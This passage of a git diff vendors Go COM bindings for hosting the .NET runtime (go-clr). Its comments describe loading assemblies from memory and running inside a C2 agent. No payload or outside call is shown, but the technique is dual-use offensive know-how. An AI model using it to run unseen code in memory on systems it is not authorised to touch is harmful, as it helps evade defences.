obj.vtbl.GetRuntime, + 4, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(pwzVersion)), + uintptr(unsafe.Pointer(&IID_ICLRRuntimeInfo)), + uintptr(unsafe.Pointer(&ppRuntime)), + 0, + 0, + ) + + if err != syscall.Errno(0) { + err = fmt.Errorf("there was an error calling the ICLRMetaHost::GetRuntime method:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRMetaHost::GetRuntime method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go new file mode 100644 index 0000000000..32e76daa04 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimehost.go @@ -0,0 +1,158 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" +) + +type ICLRRuntimeHost struct { + vtbl *ICLRRuntimeHostVtbl +} + +// ICLRRuntimeHostVtbl provides functionality similar to that of the ICorRuntimeHost interface +// provided in the .NET Framework version 1, with the following changes +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-interface +type ICLRRuntimeHostVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + // Start Initializes the CLR into a process. + Start uintptr + // Stop Stops the execution of code by the runtime. + Stop uintptr + // SetHostControl sets the host control interface. You must call SetHostControl before calling Start. + SetHostControl uintptr + // GetCLRControl gets an interface pointer of type ICLRControl that hosts can use to customize + // aspects of the common language runtime (CLR). + GetCLRControl uintptr + // UnloadAppDomain Unloads the AppDomain that corresponds to the specified numeric identifier. + UnloadAppDomain uintptr + // ExecuteInAppDomain Specifies the AppDomain in which to execute the specified managed code. + ExecuteInAppDomain uintptr + // GetCurrentAppDomainID gets the numeric identifier of the AppDomain that is currently executing. + GetCurrentAppDomainId uintptr + // ExecuteApplication used in manifest-based ClickOnce deployment scenarios to specify the application + // to be activated in a new domain. + ExecuteApplication uintptr + // ExecuteInDefaultAppDomain Invokes the specified method of the specified type in the specified assembly. + ExecuteInDefaultAppDomain uintptr +} + +// GetICLRRuntimeHost is a wrapper function that takes an ICLRRuntimeInfo object and +// returns an ICLRRuntimeHost and loads it into the current process +func GetICLRRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICLRRuntimeHost, error) { + debugPrint("Entering into iclrruntimehost.GetICLRRuntimeHost()...") + var runtimeHost *ICLRRuntimeHost + err := runtimeInfo.GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, unsafe.Pointer(&runtimeHost)) + if err != nil { + return nil, err + } + + err = runtimeHost.Start() + return runtimeHost, err +} + +func (obj *ICLRRuntimeHost) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *ICLRRuntimeHost) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// Start Initializes the common language runtime (CLR) into a process. +// HRESULT Start(); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-start-method +func (obj *ICLRRuntimeHost) Start() error { + debugPrint("Entering into iclrruntimehost.Start()...") + hr, _, err := syscall.Syscall( + obj.vtbl.Start, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly. +// HRESULT ExecuteInDefaultAppDomain ( +// [in] LPCWSTR pwzAssemblyPath, +// [in] LPCWSTR pwzTypeName, +// [in] LPCWSTR pwzMethodName, +// [in] LPCWSTR pwzArgument, +// [out] DWORD *pReturnValue +// ); +// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated. +// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method +func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) { + hr, _, err := syscall.Syscall9( + obj.vtbl.ExecuteInDefaultAppDomain, + 6, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(pwzAssemblyPath)), + uintptr(unsafe.Pointer(pwzTypeName)), + uintptr(unsafe.Pointer(pwzMethodName)), + uintptr(unsafe.Pointer(pwzArgument)), + uintptr(unsafe.Pointer(pReturnValue)), + 0, + 0, + 0) + if err != syscall.Errno(0) { + err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing. +// HRESULT GetCurrentAppDomainId( +// [out] DWORD* pdwAppDomainId +// ); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method +func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) { + hr, _, err := syscall.Syscall( + obj.vtbl.GetCurrentAppDomainId, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pdwAppDomainId)), + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go new file mode 100644 index 0000000000..aba6adb4b9 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/iclrruntimeinfo.go @@ -0,0 +1,211 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +type ICLRRuntimeInfo struct { + vtbl *ICLRRuntimeInfoVtbl +} + +// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR), +// including version, directory, and load status. This interface also provides runtime-specific functionality +// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime +// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method. +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface +type ICLRRuntimeInfoVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + // GetVersionString Gets common language runtime (CLR) version information associated with a given + // ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods. + GetVersionString uintptr + // GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface. + // This method supersedes the GetCORSystemDirectory method. + GetRuntimeDirectory uintptr + // IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process. + IsLoaded uintptr + // LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture. + // This method supersedes the LoadStringRC and LoadStringRCEx methods. + LoadErrorString uintptr + // LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface. + // This method supersedes the LoadLibraryShim method. + LoadLibrary uintptr + // GetProcAddress Gets the address of a specified function that was exported from the CLR associated with + // this interface. This method supersedes the GetRealProcAddress method. + GetProcAddress uintptr + // GetInterface Loads the CLR into the current process and returns runtime interface pointers, + // such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions. + GetInterface uintptr + // IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current + // process, taking into account other runtimes that might already be loaded into the process. + IsLoadable uintptr + // SetDefaultStartupFlags Sets the CLR startup flags and host configuration file. + SetDefaultStartupFlags uintptr + // GetDefaultStartupFlags Gets the CLR startup flags and host configuration file. + GetDefaultStartupFlags uintptr + // BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions. + BindAsLegacyV2Runtime uintptr + // IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started. + IsStarted uintptr +} + +// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string +func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) { + pwzVersion, err := syscall.UTF16PtrFromString(version) + if err != nil { + return nil, err + } + return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo) +} + +func (obj *ICLRRuntimeInfo) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *ICLRRuntimeInfo) Release() uintptr { + debugPrint("Entering into iclrruntimeinfo.Release()...") + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface. +// HRESULT GetVersionString( +// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer, +// [in, out] DWORD *pcchBuffer); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method +func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) { + debugPrint("Entering into iclrruntimeinfo.GetVersion()...") + // [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation. + var pchBuffer uint32 + hr, _, err := syscall.Syscall( + obj.vtbl.GetVersionString, + 3, + uintptr(unsafe.Pointer(obj)), + 0, + uintptr(unsafe.Pointer(&pchBuffer)), + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err) + return + } + // 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation + if hr != S_OK && hr != 0x8007007a { + err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr) + return + } + + pwzBuffer := make([]uint16, 20) + + hr, _, err = syscall.Syscall( + obj.vtbl.GetVersionString, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pwzBuffer[0])), + uintptr(unsafe.Pointer(&pchBuffer)), + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + version = syscall.UTF16ToString(pwzBuffer) + return +} + +// GetInterface loads the CLR into the current process and returns runtime interface pointers, +// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx. +// HRESULT GetInterface( +// [in] REFCLSID rclsid, +// [in] REFIID riid, +// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method +func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error { + debugPrint("Entering into iclrruntimeinfo.GetInterface()...") + hr, _, err := syscall.Syscall6( + obj.vtbl.GetInterface, + 4, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&rclsid)), + uintptr(unsafe.Pointer(&riid)), + uintptr(ppUnk), + 0, + 0, + ) + // The syscall returns "The requested lookup key was not found in any active activation context." in the error position + // TODO Why is this error message returned? + if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." { + return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions. +// HRESULT BindAsLegacyV2Runtime (); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method +func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error { + debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...") + hr, _, err := syscall.Syscall( + obj.vtbl.BindAsLegacyV2Runtime, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err) + } + if hr != S_OK { + return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process, +// taking into account other runtimes that might already be loaded into the process. +// HRESULT IsLoadable( +// [out, retval] BOOL *pbLoadable); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method +func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) { + debugPrint("Entering into iclrruntimeinfo.IsLoadable()...") + hr, _, err := syscall.Syscall( + obj.vtbl.IsLoadable, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pbLoadable)), + 0) + if err != syscall.Errno(0) { + err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go b/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go new file mode 100644 index 0000000000..c8e77a8c5c --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/icorruntimehost.go @@ -0,0 +1,231 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +type ICORRuntimeHost struct { + vtbl *ICORRuntimeHostVtbl +} + +// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR) +// explicitly, to create and configure application domains, to access the default domain, and to enumerate all +// domains running in the process. +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface +type ICORRuntimeHostVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + // CreateLogicalThreadState Do not use. + CreateLogicalThreadState uintptr + // DeleteLogicalThreadSate Do not use. + DeleteLogicalThreadState uintptr + // SwitchInLogicalThreadState Do not use. + SwitchInLogicalThreadState uintptr + // SwitchOutLogicalThreadState Do not use. + SwitchOutLogicalThreadState uintptr + // LocksHeldByLogicalThreadState Do not use. + LocksHeldByLogicalThreadState uintptr + // MapFile Maps the specified file into memory. This method is obsolete. + MapFile uintptr + // GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR. + GetConfiguration uintptr + // Start Starts the CLR. + Start uintptr + // Stop Stops the execution of code in the runtime for the current process. + Stop uintptr + // CreateDomain Creates an application domain. The caller receives an interface pointer of + // type _AppDomain to an instance of type System.AppDomain. + CreateDomain uintptr + // GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process. + GetDefaultDomain uintptr + // EnumDomains Gets an enumerator for the domains in the current process. + EnumDomains uintptr + // NextDomain Gets an interface pointer to the next domain in the enumeration. + NextDomain uintptr + // CloseEnum Resets a domain enumerator back to the beginning of the domain list. + CloseEnum uintptr + // CreateDomainEx Creates an application domain. This method allows the caller to pass an + // IAppDomainSetup instance to configure additional features of the returned _AppDomain instance. + CreateDomainEx uintptr + // CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance. + // IAppDomainSetup provides methods to configure aspects of an application domain before it is created. + CreateDomainSetup uintptr + // CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security + // evidence to pass to CreateDomain or CreateDomainEx. + CreateEvidence uintptr + // UnloadDomain Unloads the specified application domain from the current process. + UnloadDomain uintptr + // CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread. + CurrentDomain uintptr +} + +// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object +// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly +// from memory (afaict) +func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) { + debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...") + var runtimeHost *ICORRuntimeHost + err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost)) + if err != nil { + return nil, err + } + + err = runtimeHost.Start() + return runtimeHost, err +} + +func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error { + debugPrint("Entering into icorruntimehost.QueryInterface()...") + hr, _, err := syscall.Syscall( + obj.vtbl.QueryInterface, + 3, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for. + uintptr(ppvObject), + ) + if err != syscall.Errno(0) { + fmt.Println("1111111111111") + return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err) + } + if hr != S_OK { + fmt.Println("222222222222222222") + return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +func (obj *ICORRuntimeHost) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *ICORRuntimeHost) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// Start starts the common language runtime (CLR). +// HRESULT Start (); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method +func (obj *ICORRuntimeHost) Start() error { + debugPrint("Entering into icorruntimehost.Start()...") + hr, _, err := syscall.Syscall( + obj.vtbl.Start, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0, + ) + if err != syscall.Errno(0) { + // The system could not find the environment option that was entered. + // TODO Why is this error message returned? + debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err)) + } + if hr != S_OK { + return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr) + } + return nil +} + +// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process. +// HRESULT GetDefaultDomain ( +// [out] IUnknown** pAppDomain +// ); +// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method +func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) { + debugPrint("Entering into icorruntimehost.GetDefaultDomain()...") + hr, _, err := syscall.Syscall( + obj.vtbl.GetDefaultDomain, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&IUnknown)), + 0, + ) + if err != syscall.Errno(0) { + // The specified procedure could not be found. + // TODO Why is this error message returned? + debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err)) + } + if hr != S_OK { + err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain. +// HRESULT CreateDomain ( +// [in] LPWSTR pwzFriendlyName, +// [in] IUnknown* pIdentityArray, +// [out] void **pAppDomain +// ); +// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100) +func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) { + debugPrint("Entering into icorruntimehost.CreateDomain()...") + hr, _, err := syscall.Syscall6( + obj.vtbl.CreateDomain, + 4, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain + uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set + uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain + 0, + 0, + ) + if err != syscall.Errno(0) { + // The specified procedure could not be found. + // TODO Why is this error message returned? + debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err)) + } + if hr != S_OK { + err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// EnumDomains Gets an enumerator for the domains in the current process. +// HRESULT EnumDomains ( +// [out] HCORENUM *hEnum +// ); +func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) { + debugPrint("Enterin into icorruntimehost.EnumDomains()...") + + hr, _, err := syscall.Syscall( + obj.vtbl.EnumDomains, + (uintptr(unsafe.Pointer(hEnum))), + 0, + 0, + 0, + ) + + if err != syscall.Errno(0) { + err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go b/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go new file mode 100644 index 0000000000..bd78c9ed31 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/ienumunknown.go @@ -0,0 +1,82 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" +) + +type IEnumUnknown struct { + vtbl *IEnumUnknownVtbl +} + +// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown. +// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown. +// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown +type IEnumUnknownVtbl struct { + QueryInterface uintptr + AddRef uintptr + Release uintptr + // Next Retrieves the specified number of items in the enumeration sequence. + Next uintptr + // Skip Skips over the specified number of items in the enumeration sequence. + Skip uintptr + // Reset Resets the enumeration sequence to the beginning. + Reset uintptr + // Clone Creates a new enumerator that contains the same enumeration state as the current one. + Clone uintptr +} + +func (obj *IEnumUnknown) AddRef() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.AddRef, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +func (obj *IEnumUnknown) Release() uintptr { + ret, _, _ := syscall.Syscall( + obj.vtbl.Release, + 1, + uintptr(unsafe.Pointer(obj)), + 0, + 0) + return ret +} + +// Next retrieves the specified number of items in the enumeration sequence. +// HRESULT Next( +// ULONG celt, +// IUnknown **rgelt, +// ULONG *pceltFetched +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next +func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) { + debugPrint("Entering into ienumunknown.Next()...") + hr, _, err := syscall.Syscall6( + obj.vtbl.Next, + 4, + uintptr(unsafe.Pointer(obj)), + uintptr(celt), + uintptr(pEnumRuntime), + uintptr(unsafe.Pointer(pceltFetched)), + 0, + 0, + ) + if err != syscall.Errno(0) { + err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err) + return + } + if hr != S_OK && hr != S_FALSE { + err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + hresult = int(hr) + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go b/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go new file mode 100644 index 0000000000..880874cfd2 --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/ierrorinfo.go @@ -0,0 +1,117 @@ +// +build windows + +package clr + +import ( + "fmt" + "syscall" + "unsafe" + + "golang.org/x/sys/windows" +) + +type IErrorInfo struct { + vtbl *IErrorInfoVtbl +} + +// IErrorInfoVtbl returns information about an error in addition to the return code. +// It returns the error message, name of the component and GUID of the interface in +// which the error occurred, and the name and topic of the Help file that applies to the error. +// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85) +type IErrorInfoVtbl struct { + // QueryInterface Retrieves pointers to the supported interfaces on an object. + QueryInterface uintptr + // AddRef Increments the reference count for an interface pointer to a COM object. + // You should call this method whenever you make a copy of an interface pointer. + AddRef uintptr + // Release Decrements the reference count for an interface on a COM object. + Release uintptr + // GetDescription Returns a text description of the error + GetDescription uintptr + // GetGUID Returns the GUID of the interface that defined the error. + GetGUID uintptr + // GetHelpContext Returns the Help context ID for the error. + GetHelpContext uintptr + // GetHelpFile Returns the path of the Help file that describes the error. + GetHelpFile uintptr + // GetSource Returns the name of the component that generated the error, such as "ODBC driver-name". + GetSource uintptr +} + +// GetDescription Returns a text description of the error. +// HRESULT GetDescription ( +// BSTR *pbstrDescription); +// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85) +func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) { + debugPrint("Entering into ierrorinfo.GetDescription()...") + + hr, _, err := syscall.Syscall( + obj.vtbl.GetDescription, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(&pbstrDescription)), + 0, + ) + + if err != syscall.Errno(0) { + err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error. +// HRESULT GetGUID( +// GUID *pGUID +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid +func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) { + debugPrint("Entering into ierrorinfo.GetGUID()...") + + hr, _, err := syscall.Syscall( + obj.vtbl.GetGUID, + 2, + uintptr(unsafe.Pointer(obj)), + uintptr(unsafe.Pointer(pGUID)), + 0, + ) + + if err != syscall.Errno(0) { + err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr) + return + } + err = nil + return +} + +// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread. +// HRESULT GetErrorInfo( +// ULONG dwReserved, +// IErrorInfo **pperrinfo +// ); +// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo +func GetErrorInfo() (pperrinfo *IErrorInfo, err error) { + debugPrint("Entering into ierrorinfo.GetErrorInfo()...") + modOleAut32 := syscall.MustLoadDLL("OleAut32.dll") + procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo") + hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo))) + if err != syscall.Errno(0) { + err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err) + return + } + if hr != S_OK { + err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr) + return + } + err = nil + return +} diff --git a/vendor/github.com/Ne0nd0g/go-clr/io.go b/vendor/github.com/Ne0nd0g/go-clr/io.go new file mode 100644 index 0000000000..a42d5092ea --- /dev/null +++ b/vendor/github.com/Ne0nd0g/go-clr/io.go @@ -0,0 +1,200 @@ +// +build windows + +package clr + +import ( + "bufio" + "bytes" + "fmt" + "os" + "sync" + "time" + + "golang.org/x/sys/windows" +) + +// origSTDOUT is a Windows Handle to the program's original STDOUT +var origSTDOUT = windows.Stdout + +// origSTDERR is a Windows Handle to the program's original STDERR +var origSTDERR = windows.Stderr + +// rSTDOUT is an io.Reader for STDOUT +var rSTDOUT *os.File + +// wSTDOUT is an io.Writer for STDOUT +var wSTDOUT *os.File + +// rSTDERR is an io.Reader for STDERR +var rSTDERR *os.File + +// wSTDERR is an io.Writer for STDERR +var wSTDERR *os.File + +// Stdout is a buffer to collect anything written to STDOUT +// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the +// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent) +// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is +// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block +var Stdout bytes.Buffer + +// Stderr is a buffer to collect anything written to STDERR +var Stderr bytes.Buffer + +// errors is used to capture an errors from a goroutine +var errors = make(chan error) + +// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time +var mutex = &sync.Mutex{} + +// RedirectStdoutStderr redirects the program's 